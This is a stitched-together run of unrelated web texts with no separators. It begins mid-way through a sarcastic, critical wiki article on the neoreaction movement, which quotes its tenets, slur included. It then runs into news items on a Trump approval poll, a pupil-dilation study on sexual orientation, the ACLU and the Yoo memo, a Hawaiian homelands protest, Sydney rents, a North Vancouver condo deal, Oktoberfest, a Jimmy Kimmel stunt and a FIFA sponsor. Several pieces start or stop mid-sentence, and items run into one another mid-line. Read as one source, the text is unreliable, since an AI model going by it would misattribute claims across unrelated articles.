According to Jeffrey Herf, "reactionary modernism" in the Weimar era was a similar movement, which he called a "technological romanticism"; its key feature was "great enthusiasm for modern technology with a rejection of the Enlightenment and the values and institutions of liberal democracy".[27] This reactionary modernism enthusiastically endorsed technological ideas from telecommunications to eugenics while expressing disdain for democratic ideas and looking for a return to a rigid social order.
Recent [ edit ]
In some ways, neoreaction flows out of the "Californian ideology" : a blend of countercultural ideas from the 1960s with libertarianism and techno-utopianism [28].
In the Francophone world, the thought of Guillaume Faye also anticipates neoreaction in several particulars. Faye calls his ideas archeofuturism; this "calls for 'the re-emergence of archaic configurations' – 'pre-modern, inegalitarian, and non-humanist'" and advocates traditional spirituality and concepts of sovereignty while hoping for a technological utopia. This, by Faye's reckoning, is the only way to defeat "the American party", which he continues to identify with egalitarianism and democracy.[29] (Faye wrote in 1999, so he had the opportunity to acquaint himself well enough with recent U.S. history to know better.) Faye has also spoken at a conference hosted by the white supremacist magazine American Renaissance.
Writing style [ edit ]
“ ” I am at the moment writing a lengthy indictment against our century. When my brain begins to reel from my literary labors, I make an occasional cheese dip.
The main thing neoreactionaries do is blog. One common feature of the movement is a long-winded — ridiculously long-winded — and oblique prose style, eager to show off its mastery of historical trivia; it seems more poetry than politics at times. This is right-wing politics taken to an extreme: radical, deliberately "transgressive" posturing in obscurantist prose. The formulated utilitarian view of human life that is reflected in the writings of neoreactionaries is anticipated by sociologists Theodor Adorno and Max Horkheimer of the Frankfurt School in their text Dialectic of Enlightenment, holding that the elevation of reason over other human values tends to treat people as means to an end, and elevates Progress to an unquestioned good.[30]
For an example, Moldbug responded to Richard Dawkins' book The God Delusion by writing a seven-part sequence of posts in September 2007, totalling 37,941 words, in which he conclusively proved, step by step, thread by thread, detail by detail, that Dawkins was, for all his protestations of atheism, in fact... a cultural Christian![31] Dawkins, of course, stated the same thing in December 2007 in four and a half words: "I'm a cultural Christian".[32] (No doubt provoked by Moldbug's stirring rhetoric.) Moldbug's central thesis was a sort of genetic fallacy on steroids, where he thought that if he could show a modern idea descended from a particular idea hundreds of years earlier it could be treated as substantially the same.
Moldbug's early "The magic of symmetric sovereignty" (19 May 2007)[33] is short, comprehensible and gets its point across in 1,666 words, rather than barely getting started in that much space. Its thesis is that totalitarian sovereignty would work well if it were unassailably secure. His arguments are made of handwaves and holes, but the interesting bit is the libertarian-style thinking, in which all the hard bits of politics, and why humans are complicated, are handwaved away because he wants so much for his reasoning to reach his desired conclusion. If something looks like an insufficiently-explained logical leap, don't assume he'll get around to properly explaining himself later. Much as per Yudkowsky's style on Overcoming Bias and LessWrong, the apparent references lead to references leading to references, and hardly ever resolve to clear and well-supported substantiation.
After early-period commenters kept calling out his ridiculous misuse of basic terms and glaring factual errors, Moldbug adopted his better-known style, in which he spends a few thousand words redefining English such as to make his striking theses (e.g., "America is a communist country"[34]) less transparently ludicrous.
Later neoreactionaries write similarly, assuming a certain background cloud of assumptions they never quite get around to fully backing up. Actual checkable claims frequently turn out on inspection to be completely wrong (per Scott Alexander's Anti-Reactionary FAQ[35]).
Positions [ edit ]
“ ” This city is famous for its gamblers, prostitutes, exhibitionists, anti-Christs, alcoholics, sodomites, drug addicts, fetishists, onanists, pornographers, frauds, jades, litterbugs, and lesbians, all of whom are only too well protected by graft.
Hostility to modernity and democracy is the main point of agreement among neoreactionaries. Moldbug writes that "a reactionary is a believer in order, stability, and security. All of which he treats as synonyms... Thus, the order that the rational reactionary seeks to preserve and/or restore is arbitrary. Perhaps it can be justified on some moral basis. But probably not. It is good simply because it is order, and the alternative to order is violence at worst and politics at best. If the Bourbons do not rule France, someone will – Robespierre, or Napoleon, or Corner Man."[36]
Moldbug's fondness for 'order' seems oddly timid and disconcerting in a wannabe edgelord drawn to white nationalism for its "transgressive" qualities; if order is all that important, it raises the question 'what's wrong with the order we already have'? Land, by contrast, shows no such timidity and instead seems to wish to move ahead full tilt into realms of existential horror where humans lose their human qualities at the nexus of genetic engineering and AI interfaces. Still, it seems that for both writers the chief attraction of white nationalism is simply that it is the least polite form of politics, one of the few that retains its potency pour épater les bourgeois. The fondness for deliberate transgression of social norms is difficult to reconcile with the authoritarian polities these writers profess to admire.[37]
Echoing traditional libertarian concerns, they assert that democracies are necessarily less financially stable than autocracies in general, and monarchies in particular: that a king will be "fiscally responsible" because the king has a property interest in the kingdom. The ideal model would appear to be to make Steve Jobs the king of California, as if Silicon Valley were a model that could be applied to the rest of the world.[37] The actual history of kings would seem to be rich in counterexamples, but so it goes. Another common position, shared by both Moldbug and Land, is hostility to empathy as a factor in political philosophy. This too is a reflection of their shared libertarian roots, with its reverence for property and markets as legalistic constructions, and their shared preference for the airy abstraction of computer code over human relationships.[37]
While the various figures in the neoreactionary scene may partake of its tropes to varying degrees, their not-entirely-consistent broad themes include:
Michael Anissimov proposes the following six tenets as the core beliefs of neoreaction:
People are not equal. They never will be. We reject equality in all its forms. Right is right and left is wrong. Hierarchy is basically a good idea. Traditional sex roles are basically a good idea. Libertarianism is retarded. Democracy is irredeemably flawed and we need to do away with it.[39]
The Cathedral? [ edit ]
Moldbug's idea of "the Cathedral" is a recurring theme; it is a "distributed conspiracy", one that treats feminism, democracy, and other "progressive" causes, and the general world view of educated Westerners, as the current world's version of an established church:[40]
And the left is the party of the educational organs, at whose head is the press and universities. This is our 20th-century version of the established church. Here at UR, we sometimes call it the Cathedral — although it is essential to note that, unlike an ordinary organization, it has no central administrator. No, this will not make it easier to deal with.
Even if there's something like this that you could be persuaded to see, it's hard to imagine a proper conspiracy without conspirators. What Moldbug describes looks more like a culture: a broadly shared set of associated social values embodied in shared institutions, symbols, and practices. If you are reading this, you probably live there. This is what he's against.
The Cathedral is similar to Guy Debord's "society of the Spectacle", except that instead of the Spectacle being created by the media in the service of capitalism, Moldbug believes the Cathedral is a conspiracy run by academia.
One of these ideas is not like the others. This one comes from neoreaction's links to the Bay Area transhumanist subculture. This is why neoreactionaries showed up on LessWrong.
There are neoreactionaries who will attempt to reconcile transhumanism and singularitarianism with taking the rest of society back several hundred years, particularly Michael Anissimov;[41] the attempts are certainly creative, at least.[42]
Despite Yudkowsky rejecting neoreaction, MIRI's goal closely resembles the neoreactionary goal: a single sovereign Friendly artificial intelligence, ruling human space for all time for the good of all.[43]
In Moldbug's proposal — a world divided up into libertarian anarcho-monarchies, informed by pickup-artist patter (the world made Gor! ), among many little autonomous princedoms governed by kings, aristocrats, or dictators — you may have trouble placing bets about how long the Internet would hold up. If 300 baud was good enough for Jesus Christ...
Achievements [ edit ]
“ ” My stringent attitude toward sex intrigued her; in a sense, I became another project of sorts. I did, however, succeed in thwarting her every attempt to assail the castle of my body and mind.
The movement has a proud history of great achievements, such as lengthy blog posts, even longer blog posts, and, occasionally, tweets. (More Right used to have an ongoing series on Neoreactionary Accomplishments;[44] parts one to six listed blogging, parts seven to ten listed blogging about hypothetical governance structures: "intellectual accomplishments are real even though stupid people don’t understand them.") They also argue amongst themselves on Tumblr. There is the occasional schism, purge,[45] warning of entryists[46] and claim of true neoreaction;[47] thus, neoreaction successfully duplicates student communism, though without people even getting laid along the way.[notes 1]
Whitewashing [ edit ]
Yarvin/Moldbug has lost interest in political blogging, and now fatuously claims that he was merely interested in getting people to read old books, and was not doing politics[48] — while elsewhere in the very same discussion, not disputing having written in 2007 that he'd sat down in his garage and decided to come up with a new ideology, or the question's fawning suggestion that Moldbug had "succeeded" (presumably referring to Donald Trump).
This misdirection/doublethink might just have something to do with the fact that he has started a quixotic startup, Tlon, developing a system called Urbit, to "compete with the internet", and his infamous views — which he has conspicuously neither taken down nor repudiated[49] — are hanging over his startup like a radioactive anvil of his own forging. He was disinvited from one technical conference in 2015 after someone brought his odious views to the attention of the organisers.[50] In 2016, after his talk proposal was accepted at functional programming conference LambdaConf, via a blinded (i.e. anonymising) review process, two subconferences cancelled in protest,[51][52] sponsors pulled out[53] and speakers withdrew.
However, he doesn't have much interest in keeping up the pretense for very long — in a Reddit Ask Me Anything session, when asked why communist software developers were not socially shunned like him, he responded that it is not hard to see who really has power in society.[54] Yes, that's right, according to his Cathedral theory, the commies won the Cold War — due to cultural Marxism — and America is now "a communist country".[55]
LambdaConf itself has become a rallying point for the alt-right, with a fundraiser organised by ClarkHat of the totally neutral Status:451 (which is not a neoreactionary blog, it just posts articles promoting neoreaction[56]) and pushed heavily by the totally neutral Eric S. Raymond,[57] premised on a completely unevidenced backstab myth that activist SJWs forced the original sponsor pullout. John deGoes of LambdaConf refused to provide evidence of this claim without payment for his time,[58] despite having already been funded handsomely on the basis of it.[59] Of course, almost none of these new fans care about functional programming, and 348 actual functional programmers, including leading lights of FP, have repudiated them[60] (and were then attacked by Vox Day and Eric Raymond[61]). DeGoes also explained his views on "diversity" with a post that can only be described as Social Justice Time Cube, in which he attempts to derive "inclusivity" from first principles, including made-up jargon and explanatory diagrams.[62] For LambdaConf 2017, they invited truly neutral Red Pill MRA Ed Latimore, not to talk about functional programming but about "the lessons he's learned through his unique path through life".[63]
See the main article on this topic: Alt-right
The "alt-right" mob are the less intellectual end of neoreactionary discourse, and delighted to be so. These are the people who have wholeheartedly embraced the overt racism, misogyny, neo-Nazi affectations, bullying and trolling of chan culture as a lifestyle. You'll find them on /pol/, My Posting Career or The Right Stuff; they make up a sizable fraction of the more radical and uncouth sections of Gamergate. They're also the ones who popularized "cuckservative" as a term of abuse for those on the right who are deemed not racist enough.
The label originated with Richard Spencer's white nationalist magazine/blog Alternative Right, nicknamed "AltRight".
Their advantages over the Moldbuggian strain are shorter blog posts and an actual sense of humour (such as it is). Whether they're primarily neoreactionaries who are into white nationalism or white nationalists dressing their ideas up with neoreactionary jargon is probably a distinction without a difference. They tend to think actual neoreactionaries use too many words, and aren't so keen on Yarvin being Jewish.
The term has come to be more generally be used for Trump supporters who think swastikas are good; in this context, it's just a hip name for white supremacists.
In popular culture [ edit ]
Ignatius J. Reilly, an important forerunner of the movement.
“ ” What I want is a good, strong monarchy with a tasteful and decent king who has some knowledge of theology and geometry and to cultivate a Rich Inner Life.
Ignatius J. Reilly, the protagonist of the novel A Confederacy of Dunces by John Kennedy Toole, fully anticipated the modern neoreactionary blogger by fifty years. Down to the fondness for Boethius. Sometimes, history starts as farce. It's a fantastic novel that fully lives up to the hype. Neoreactionaries don't find it funny at all. You'll enjoy it.
In real life [ edit ]
“ ” When Fortuna spins you downward, go out to a movie and get more out of life.
Stung by accusations that they are spending their lives doing for words what Bitcoin does for electricity,[44] Nyan Sandwich of MoreRight The Future Primaeval is organising an in-person meetup group called Phalanx, a "reactionary fraternity for the cultivation of masculine virtue and the development of social and moral capital."[64] (A previous version of the announcement apparently[65] also proposed to "practice game", but this was deleted.) The plan is "not to directly engage, but to become strong and worthy", so we're sure this will be just fine and accept Nyan's assurance[66] that any unfortunate naming coincidences are nothing to worry about.
In 2016, a little-known London art gallery called LD50 held an exhibition and series of talks that didn't so much enquire into neoreactionary and alt-right thought, as provide a propaganda platform for its adherents.[67] Indeed, one exhibit consisted of nothing but videos of neoreactionary literature read out by avatars — ranting crudely disguised as art? The events were organised in secret, according to one of the speakers, a far-right Islamophobe who had been quoted by terrorist Anders Breivik in his manifesto, and who subsequently praised Breivik as "brave" after the latter murdered 77 Norwegians, mostly young social democrats, in cold blood.[68][67] The poorly-attended events probably led to far more protesters visiting the gallery, when anti-fascist locals subsequently found out about them, than actual attendees.
See also [ edit ]
The primary sources
Unqualified Reservations by Mencius Moldbug
The Dark Enlightenment by Nick Land
See also
Scott Alexander has written extensive examinations of neoreaction, as he knows a lot of the players personally. These include:
Reactionary Philosophy in an Enormous Planet Sized Nutshell — an honest attempt to describe neoreactionary beliefs sympathetically
The Anti-Reactionary FAQ — generally regarded as the definitive takedown
Other discussions
Notes [ edit ]
↑ Except, so we are told, among the self-hating gays in the movement, who stick with it despite the stupendous homophobia present.A majority, 53%, disapprove of the way the President is handling his job, according to a new CNN/ORC poll, marking the highest disapproval for a new elected president since polls began tracking those results. Trump is the only President to hold a net-negative rating this early in his tenure.
Overall, 44% approve of the way he's handling the job, seven points below the previous low-point of 51%. Further, the share who disapprove "strongly" of Trump's work as president is nearly as large as the total block who approve, 43% feel intensely negative about Trump. Partisanship is the sharpest divider in opinions on Trump (90% of Republicans approve vs. 10% of Democrats).
Trump's high disapproval most clearly differentiates his ratings from those of his predecessors. While Ronald Reagan's first approval rating measure of 51% from Gallup in 1981 was not that far above Trump's 44% now, Reagan's disapproval number was far lower than Trump's (13% to 53%). And George W. Bush, the last president to be elected without capturing the popular vote, held a far more positive 57% overall approval rating in February of his first year in office, with just 25% disapproving.
Several specific actions Trump has taken in his first two weeks are also meeting with majority opposition, according to the poll. Most oppose the travel restrictions put in place by executive order last week, and 55% say they see it as an attempt to ban Muslims from entering the US. Further, 6 in 10 oppose Trump's plan to build a wall along the border with Mexico.
Overall, 47% say they favor the executive order on travel, which prohibits entry to the US for 90 days by citizens of seven majority-Muslim countries while suspending the US refugee program for 120 days and reducing the total number of refugees the US will accept this year. A majority, 53%, say they oppose the order. Those who favor the ban say by a 2-to-1 margin that they would like to see it expanded to other countries.
Opposition to the travel ban rests somewhat on perceptions that it fulfills one of Trump's campaign proposals: A ban on entry for Muslims. The perception that the executive order is an attempt to ban Muslims from entering is driven largely by opponents of the order -- 82% of whom see it as a Muslim ban, though a quarter of those who support it also see it as an attempt to ban Muslims from entering the country (25% say so).
The public is more closely divided on whether the order makes the US safer or protects American values, two arguments the Trump administration has put forth in support of the order. About 4 in 10 (41%) agree with the Trump administration's contention that the ban makes the US safer from terrorism, while more (46%) say it makes the US less safe from terrorism and another 12% say it doesn't make a difference. Further, just about half (49%) think the order harms American values by keeping out people who are seeking asylum, while 43% say it does more to protect American values by keeping out people who don't support those values.
Across all these questions, opinions are sharply divided by party. Democrats are just as apt to oppose the executive order (88%) as Republicans are to support it (88%); independents tilt against, with 54% opposed. Republicans are 10 times as likely as Democrats to say the order makes the US safer (83% of Republicans vs. 8% of Democrats), and their opinions are again 180 degrees apart when asked about its impact on American values (80% of Republicans say it protects them while 81% of Democrats say it harms them).
There is also a sharp partisan divide on whether America should accept Syrian refugees generally, with 73% of Democrats in favor compared with just 30% of Republicans. Support for accepting refugees has risen across partisan divides since late 2015, however, from 38% support in late 2015 to 54% now, including 13-point increases in support among both Democrats and Republicans.
Considering another executive order from the first days of the Trump presidency, Americans remain largely opposed to building a wall along the entire border with Mexico. In September, 41% favored that; 38% do so now. Opposition to the construction of a border wall now stands at 60%. Trump ordered immediate construction of the wall through an executive order signed less than a week after taking office, but the order does not address funding for the wall. Those in favor of building it support the Trump administration's proposal to fund it through import taxes on goods imported from Mexico by a wide margin.
Assessing Trump's work on a range of issues so far, majorities disapprove of Trump's handling of immigration (56%), foreign affairs (55%) and terrorism (53%). Half (50%) disapprove of his handling of health care policy as he seeks to roll back the provisions of Obamacare, while 42% approve of his work on health care. Americans are split, 49% approve to 46% disapprove, on his handling of national security. The economy remains Trump's bright spot, with 49% approving vs. 43% disapproving.
A broad majority, 78%, say the way Trump has handled the presidency so far is how they expected him to, with just 21% saying the way he's handling the job is unexpected. Still, those who have been surprised by his work don't see it as a pleasant one: 17% say it's been a bad thing vs. 3% who say he's performed unexpectedly well.
The CNN/ORC poll was conducted by telephone January 31 through February 2 among a random national sample of 1,002 adults. Results for the full sample have a margin of error of plus or minus three percentage points, it is larger for subgroups.By Susan E. Matthews
MyHealthNewsDaily
The way people's pupils react when they see other people is an effective way to assess sexual orientation, according to a new study.
The reactions of study participants' pupils revealed that heterosexual men responded most to images of women and homosexual men responded most to images of men.
Additionally, researchers found that homosexual women responded most to images of women, and heterosexual women expressed arousal in response to both men and women, though they were more likely to choose to watch men.
Previous studies have shown that people's pupils widen in response to seeing others who they find attractive; the new study showed that, indeed, a person's sexuality is evident in their pupils' responses.
Results also revealed that bisexual men were attracted to both men and women, an idea that has been disputed, and that heterosexual women may be aroused by both genders, despite being straight.
"The pupil reacts very quickly, and it is unconscious, so it's a method that gives us a subconscious indicator of sexuality," said lead study author Gerulf Rieger, a researcher at Cornell University. Sex researchers don't always want to rely on people's own reports about who they are sexually attracted to, because cultural and societal pressures can influence what people say, he explained.
The findings are detailed today (Aug. 3) in the journal PLoS ONE.
Reasons for women's arousal
Researchers asked about 300 study participants to watch 30-second videos of people of both sexes masturbating, and tracked the dilation of participants' pupils in response. The participants also watched simultaneous videos of males and females, and the researchers tracked where they spent more time looking.
The finding that heterosexual women are aroused by both genders is in line with other studies.
"The female brain is not as differentiated," said Sandra Witelson, a professor of psychiatry at the Michael G. DeGroote School of Medicine of McMaster University. "They don’t have as strong a response for only men, as heterosexual men have for only women."
The female tendency to be aroused by both sexes may be because of female brain composition, Witelson said.
Study researcher Ritch Savin-Williams, a psychology professor at Cornell, said women's less-distinct preference for men may be the result of a defense mechanism that evolved to protect women from forced sexual intercourse. If a woman can become aroused with any sort of sexual simulation, the lubrication that results can protect her from injuries.
Bisexual men
The pupils of men in the study who identified themselves as bisexual responded similarly to videos of males and females, confirming that bisexuality truly exists in nature, Savin-Williams said.
This fact has been disputed because of past research suggesting that men who say they are bisexual actually respond only to men, in measurements of genital responses, he said. Some have suggested that being bisexual is not a true state of sexuality, and is instead a sign of someone transitioning to accept himself as being gay.
"I was surprised that the pupil tells us |
2001 memo was almost certainly meant to provide a legal basis for the National Security Agency's warrantless wiretapping program, which President Bush launched the same month the memo was issued. As a component of the Department of Defense, the NSA is a military agency.
"The recent disclosures underscore the Bush administration's extraordinarily sweeping conception of executive power," said Jameel Jaffer, Director of the ACLU's National Security Project. "The administration's lawyers believe the president should be permitted to violate statutory law, to violate international treaties, and even to violate the Fourth Amendment inside the U.S. They believe that the president should be above the law."
The Bush administration has never argued publicly that the Fourth Amendment does not apply to military operations within the nation's borders. The memo released yesterday publicizes this argument for the first time.
The ACLU has been aware of the Justice Department's October 2001 memo since last year, but until now, its contents were unknown. The Justice Department informed the ACLU of the memo's existence as a result of a FOIA lawsuit seeking information concerning the NSA's warrantless wiretapping program. The Justice Department acknowledged the existence of "a 37-page memorandum, dated October 23, 2001, from a Deputy Assistant Attorney General in OLC, and a Special Counsel, OLC, to the Counsel to the President, prepared in response to a request from the White House for OLC's views concerning the legality of potential responses to terrorist activity." Until now, however, almost nothing was known about the memo's contents – except that it was related to a request for information about the NSA's warrantless wiretapping program. The ACLU has challenged the withholding of the October 2001 memo and the issue is pending before the U.S. District Court for the District of Columbia.
The memo released to the ACLU yesterday cites the October 2001 memo but takes its argument even further. Relying on the earlier memo, the March 2003 memo argues that the president has authority as Commander-in-Chief to bypass not only the Fourth Amendment but the central due process guarantee of the Fifth Amendment as well.
"This memo makes a mockery of the Constitution and the rule of law," said Amrit Singh, a staff attorney with the ACLU. "That it was issued by the Justice Department, whose job it is to uphold the law, makes it even more unconscionable."
The March 2003 memo was declassified in response to a lawsuit filed by the ACLU, the New York Civil Liberties Union, and other organizations in June 2004 to enforce Freedom of Information Act (FOIA) requests for records concerning the treatment of prisoners in U.S. custody abroad. The ACLU has been fighting for the release of the March 2003 Yoo memo since filing the lawsuit. A few weeks ago, after the court ordered additional briefing on whether the Defense Department could continue to withhold the memo, the government reluctantly agreed to conduct a declassification review by March 31. The Defense Department released this memo after conducting the review.
The 2003 Department of Justice memo can be found online at:
www.aclu.org/safefree/torture/34745res20030314.html
Documents relating to the ACLU's NSA FOIA lawsuit are available online at:
www.aclu.org/safefree/nsaspying/30022res20060207.html
To date, more than 100,000 pages of government documents have been released in response to the ACLU's FOIA lawsuit related the abuse of prisoner in U.S. custody abroad. These documents are available online at: www.aclu.org/torturefoiaMAUNA KEA, Hawaii – On November 28, during the Hawaiian national holiday of Lā Kū’oko’a, a small group of Hawaiian Homes beneficiaries hopped a fence on ʻĀina Mauna pasture lands to build a memorial ʻahu, and proceed with a plan for “accelerated” land awards.
“Welcome to the promised land; it’s been promised for 70 years,” announced Kelii “Skippy” Ioane, as a truck pulled up to a chained fence gate and began unloading rocks.
Then, under the ho’ailona of a white rainbow, the beneficiaries went to work building the ʻahu that would be named ʻAhu a ʻUla – described as a memorial in honor of the thousands of Hawaiians who died on the homestead wait list.
They left a sign propped up against the fence that read: HAWAIIAN HOMELAND NATIVE TENANTS ACCELERATED LAND AWARDS IN PROGRESS.
The Department of Hawaiian Home Lands (DHHL) administers the provisions of the Hawaiian Homes Commission Act of 1920, including homestead leases to beneficiaries.
MORE ► The Department of Hawaiian Home Lands website
There are over 40,000 applications for families waiting to be returned to the ‘āina, according to the DHHL website. Many have died, waiting for their application to be processed.
This group has had enough.
“We went up there to make a census of our kupuna who have passed waiting on that list,” Iokepa Kaolulo Kaeo, who sits on the Beneficiary Trust Council, later told Big Island Video News. “Its been over 90 years since that act has been formed and only 9,000 kanakas – beneficiary – are on those lands.”
On February 4, 2016 in Keaukaha, DHHL consulted with beneficiaries on the future of three parcels in the Humuʻula region, a part of the department’s ʻĀina Mauna Legacy Program.
A plan to renew a license agreement to the Hawaii DLNR for the right to operate, maintain, and manage the lands for wildlife management and public hunting was rejected by the beneficiaries.
MORE ► DHHL page for the Beneficiary Consultations » Renewal of DLNR License for Humuula
At the same meeting, Iokepa Kaeo and Lākea Trask presenting the beginnings of a plan to manage the lands according to the will of the beneficiaries.
“Cut the leases on the mountain,” Trask said at the meeting. “Let’s make it ‘āina; ‘āina is a connection between kanaka and the environment.”
In the time since, a Beneficiary Trust Council (BTC) has been established, with representatives from all 6 districts.
On Lā Kū’oko’a, council representatives took action.
Protocols were observed at Pu’u Huluhulu along the Saddle Road before they headed up to the location of the ʻahu. The events were recorded by the participants.
“Water and land equals house and food,” said BTC member Malani Alameda. “There’s too much homeless. There’s no reason why kanaka, with the blood quantum of 50%, right now be homeless. Through this special trust – through Jonah Kūhiō and Congress – we have land.”
“We have a plan,” Alameda said. “It’s the kuleana of the reps to get the plan out to people so we can work that plan according to the beneficiaries.”
However, there appears to be some opposition to their plan. Alameda and Kaeo say ʻAhu a ʻUla has already been desecrated; the flag has been stolen four times. They have been in contact with DHHL over the matter, they say.
Big Island Video News reached out to DHHL for their comment on the situation.
“With respect to the proposed ʻĀina Mauna Solution, the Department of Hawaiian Home Lands should clarify there is no “accelerated land awards process” in place for our lands in Humuʻula nor do we condone the occupation of Hawaiian Home Lands without permission,” DHHL said in a statement.
“The Department is working with the current land awards processes to offer Hawaiian homestead lots to our beneficiaries,” the statement continued. “In October, the DHHL awarded residential homestead lots to beneficiaries in Waimānalo, and we are preparing to award more in Anahola on Kauaʻi next month.”Sydney remains the epicentre of rental pain. Credit:Rob Homer "Greater Sydney continues to be at crisis levels in terms of rental affordability," the report by SGS Economics & Planning, Community Sector Banking and National Shelter finds. "The average renting household spends near 28 per cent of its total income to pay the median rent of $480 per week." A senior associate at SGS Economics & Planning, Ellen Witte, said a tax on vacant properties in Sydney could free up some new supply in certain areas. "An ongoing issue in Sydney is that many city apartments remain vacant, often owned by foreign investors. At the same time vacancy rates of private rental properties in the market are very low. "A tax on vacant dwellings could be an effective measure to target specific geographic areas with high levels of vacant dwellings," she said.
In a bid to ease his own city's rental affordability crisis, the mayor of Vancouver, Gregor Robertson, earlier this month announced a tax of 1 per cent of the value of all investment properties left vacant for six months. From next year, Vancouver property owners will be required to make a "property status declaration" detailing occupancy of their property. Owners who fail to make a declaration will pay the tax, and those who make false declarations face fines of up to $C10,000 per day. Net revenue from the new tax will be reinvested into affordable housing initiatives. The president of National Shelter, Adrian Pisarski, said a tax on vacant homes was worth considering as part of a broader strategy to improve rental affordability, including cracking down on capital gains tax exemptions, investing in social housing and providing incentives for large-scale investment in affordable rental housing. "We risk becoming a nation of speculating spivs locking out generations of ordinary folk from home ownership while exploiting them on rents to cover our high debts on investment property," Mr Pisarski said.
"Taxing vacancies would either encourage vacant property to be added to supply or, if left vacant, collect funds which could be redirected to a dedicated affordable rental supply steam, preferably owned and operated by community housing providers." Economist Saul Eslake said the idea was worth considering in Australia, but posed some difficulties. "I think it is worth considering," Mr Eslake said, "provided there are sufficient exemptions for genuine reasons as to why a property might be vacant for periods of time." Such reasons might include, according to Mr Eslake, if owners were overseas or interstate for an extended period but intended to return, if construction work was in progress, in cases of deceased estates where a will was being contested or cases where an owner had recently gone into aged care. It was unclear, too, how such a tax would apply to holiday homes, Mr Eslake said.
According to the rental affordability index, rental pressures are most acute in inner-city areas close to jobs and transport. Sydney CBD rents top the list, soaking up 68 per cent of the average Sydney household income. Rents also soak up more than 60 per cent of average household income in most inner-city areas, including Paddington, Coogee, Manly, Balmain and Bondi. The index uses a 2011 census measure of average household earnings for the Greater Sydney area, inflated for wages growth. For rents, it uses a median of NSW rental bonds data for all dwellings by postcode. The president of Prosper Australia, Catherine Cashmore, who has collected data on water usage to show there are 80,000 empty homes in Melbourne, said an empty home tax was an intuitively appealing policy that could pave the way for greater reforms. "Obviously the option of moving away from stamp duty towards a broad-based land tax with no threshold would solve the problem. But an empty homes tax may be a step in the right direction for Australians to realise they can't just keep buying for speculative reasons."District of North Vancouver council is considering a new condo project that, if approved, would include the first ever purpose-built housing for Capilano University students.
Facing “serious, immediate and expensive infrastructure and maintenance issues” that could cost upwards of $100,000 per unit, the owners of a 40-year-old, 90-unit strata complex at 1923 Purcell Way voted to dissolve their strata and sell the land.
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Woodbridge Northwest Homes is now looking to build 124 condo units, 60 townhouses and another 60 microsuites which would be owned by Capilano University and rented exclusively to their students.
The property would hold two six-storey buildings and three four-storey townhouse buildings. The plan also includes 276 parking spaces (although none for the students), and space for 408 bicycles, including one per student housing unit.
The student housing units would be approximately 200 square feet with room for a bed and a desk, as well as micro kitchen and private bathroom. Student residents would also have communal spaces for laundry and studying.
While the student housing building would be on campus-owned land along Greg Lee Way, 1,217 square feet of land would have to be transferred to the university and rezoned for the deal to go through.
If approved, the developer will provide new residents with a bus pass as well as pay for improvements to nearby bus shelters and trails. The district would also receive $1,698,940 in community amenity contributions for the redevelopment.
In a letter sent to council by the strata council last year, the owners characterized their decision to sell as a difficult one but the best option available to them.
“The support for this redevelopment has not been an easy decision on the part of our ownership. It does not represent a financial windfall. The payout will range from $295,000 to $388,000 per unit. For owners who have recently purchased into the complex and/or invested in renovations, this may result in a loss. For all 90 owners, this was an unforeseen and unplanned circumstance, with implications beyond financial,” strata president Penny Chester wrote.
At least one of the holdouts not wanting to sell turned out to council Nov. 6 to decry the “unfair” process that had led them there. Jodie Bergeron said the developer’s offer was based on the assumption that the district would not increase the density allowed on the site.
“The community that makes up the owners of this complex are retired fixed-income people, single parents, single individuals with one income, parents with small children, individuals with compromised abilities and disabilities and a few that fall outside those parameters. There is little chance any of us can afford to stay here regardless of the diversity or mix of unit stiles. We’ll be priced out of North Van and the Lower Mainland completely if this goes through,” she said.
The public is invited to have their say on the redevelopment at a public hearing on Tuesday, Nov. 21.Ah, yes. It's that beautiful time of year. A giant stein of beer in one hand and a brat loaded with sauerkraut in the other. There really is no other city in America that does Oktoberfest as well as Cincinnati.
Beginning in Munich in 1810, the very first Oktoberfest was held to celebrate the marriage of King Ludwig. Since then the tradition has been carried on yearly in towns throughout Bavaria, making it's way to Cincinnati in 1971 with The Germania Society's Oktoberfest, the first in our area. Now we know it as that beautiful transition into fall and one of the best Cincinnati traditions around.
Below you'll find all the Oktoberfest celebrations happening in the Tri-State over the next six weeks complete with times, highlights and more.Thought Matt Damon would be content with a simple guest appearance on Jimmy Kimmel Live? Think again.
After years of serving as the butt of Kimmel’s regular show-closing joke — “Apologies to Matt Damon; we ran out of time” — the Oscar winner got his revenge last night by seizing control of Live. Kimmel spent the entire episode taped to a chair with a tie stuffed in his mouth, watching helplessly as Damon taunted him, replaced his sidekick and his bandleader with Andy Garcia and Sheryl Crow — a definite case of trading up — and enlisted a bevy of other stars to assist in his takeover. From the show’s very first minutes, it was clear that this would be a night to remember:
Though Amy Adams, Nicole Kidman, and Gary Oldman were Damon’s main guests, they weren’t the only big celebrities who appeared on “his” show. Damon kicked things off by welcoming his Good Will Hunting costar Robin Williams, who gave him a little help with his opening monologue. Tons of celebrities, including Robert De Niro and Sally Field — not to mention Kimmel’s parents — taped messages for Damon, congratulating him on his coup. Reese Witherspoon and Demi Moore both stopped by after Garcia just happened to bump into them on Hollywood Boulevard. (What a coincidence!) And at one point, Sarah Silverman even dropped in to revisit her old f—buddy — Damon, not Kimmel.
But not everyone on Live was on Matt’s side — as evidenced by this clip, in which a certain cue card reader is revealed to be a star with close ties to both Damon and Kimmel. Dramatic things can happen when bromances go bad:
The highlight of the night, though, may have been when Damon explained the true origin of his beef with Kimmel. See, Jimmy always wanted to be an actor — but unfortunately for him, Matt beat him out for every role he ever really wanted. (Even Happy Feet 2.) And thankfully, Damon managed to collect footage from every one of Kimmel’s failed auditions — including the one for Stuck on You where he’s duct-taped to Greg Kinnear.
Sadly, all good things must come to an end — including Damon’s conquest. But at least this historic show ended the only way it could have: with Damon smugly informing Kimmel that they’d run out of time for him. How do you like them apples, Jimmy?
Read more:
Jimmy Kimmel catches inauguration liars — VIDEO
Nicki Minaj explains Mariah Carey feud to Jay Leno — VIDEO
Charlie Sheen wants to return to ‘2.5 Men’: ‘I am dead, but so’s the show’ — VIDEOCALGARY – One of Canada’s largest banks says it will review its involvement in sponsoring CONCACAF in the wake of corruption allegations against senior FIFA officials.
Scotiabank (TSX:BNS), which in December signed on as a major sponsor of the governing body for soccer in North America, Central America and the Caribbean, says it is disturbed by the allegations.
The bank says it couldn’t comment on specifics because the matter is under investigation, but it will review its involvement as more details become available.
CONCACAF president and FIFA vice-president Jeffrey Webb was arrested Wednesday in Switzerland on racketeering and bribery charges, one of seven senior FIFA officials apprehended as part of a US$150 million bribery and kickback scandal.
FBI agents also raided CONCACAF’s offices in Miami.
CONCACAF said it was deeply concerned by the arrest of several international football officials including those belonging to its confederation.
